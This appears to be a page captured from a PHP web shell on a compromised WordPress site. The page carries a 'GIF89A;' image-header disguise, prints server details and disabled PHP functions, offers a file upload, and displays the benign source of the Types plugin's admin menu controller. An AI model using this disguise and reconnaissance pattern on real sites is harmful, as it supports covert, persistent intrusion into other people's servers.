GIF89A;
Server : Microsoft-IIS/10.0 System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586 User : fatorc ( 0) PHP Version : 5.3.28 Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate Directory : e:/home/fatorc/Web/wp-content/plugins/types/application/controllers/ |
Upload File : |
<?php /** * Admin menu controller for Types. * * All Types pages, menus, submenus and whatnot need to be registered here. One of the main goals is to avoid * loading specific page controllers unless their page is actually being loaded. All page slugs in Types *must* * be defined here as constants PAGE_NAME_*. * * @since 2.0 */ final class Types_Admin_Menu { /** Temporary slug compatible with the legacy code. */ const MENU_SLUG = 'wpcf'; // All (non-legacy) page slugs. const PAGE_NAME_FIELD_CONTROL = 'types-field-control'; const PAGE_NAME_HELPER = 'types-helper'; // hidden page const PAGE_NAME_DASHBOARD = 'types-dashboard'; private static $instance; public static function get_instance() { if( null == self::$instance ) { self::$instance = new self(); } return self::$instance; } public static function initialize() { self::get_instance(); } private function __construct() { // Priority is hardcoded by filter documentation. add_filter( 'toolset_filter_register_menu_pages', array( $this, 'on_admin_menu' ), 10 ); // Load Dashboard Types_Page_Dashboard::get_instance(); } private function __clone() { } /** * Add all Types submenus and jumpstart a specific page controller if needed. * * Toolset shared menu usage is described here: * @link https://git.onthegosystems.com/toolset/toolset-common/wikis/toolset-shared-menu * * @param array $pages Array of menu item definitions. * @return array Updated item definition array. * @since 2.0 */ public function on_admin_menu( $pages ) { // Add legacy pages $pages = wpcf_admin_toolset_register_menu_pages( $pages ); $page_name = sanitize_text_field( wpcf_getget( 'page' ) ); if( !empty( $page_name ) ) { $pages = $this->maybe_add_ondemand_submenu( $pages, $page_name ); } return $pages; } /** * Check if an on-demand submenu should be added, and jumpstart it's controller if needed. * * On-demand submenu means that the submenu isn't displayed normally, it appears only when its page is loaded. * * Note: All page controllers should inherit from Types_Page_Abstract. * * @param array $pages Array of menu item definitions. * @param string $page_name * @return array Updated item definition array. * @since 2.0 */ private function maybe_add_ondemand_submenu( $pages, $page_name ) { $page = null; switch( $page_name ) { case self::PAGE_NAME_FIELD_CONTROL: $page = Types_Page_Field_Control::get_instance(); break; case self::PAGE_NAME_HELPER: Types_Page_Hidden_Helper::get_instance(); break; } if( $page instanceof Types_Page_Abstract ) { // Jumpstart the page controller. try { $page->prepare(); } catch( Exception $e ) { wp_die( $e->getMessage() ); } $pages[ $page_name ] = array( 'slug' => $page_name, 'menu_title' => $page->get_title(), 'page_title' => $page->get_title(), 'callback' => $page->get_render_callback(), 'load_hook' => $page->get_load_callback(), 'capability' => $page->get_required_capability(), 'contextual_help_hook' => array( Types_Asset_Help_Tab_Loader::get_instance(), 'add_help_tab' ) ); // todo we might need to handle adding URL parameters to submenu URLs in some standard way, it's common scenario for ondemand submenus } return $pages; } }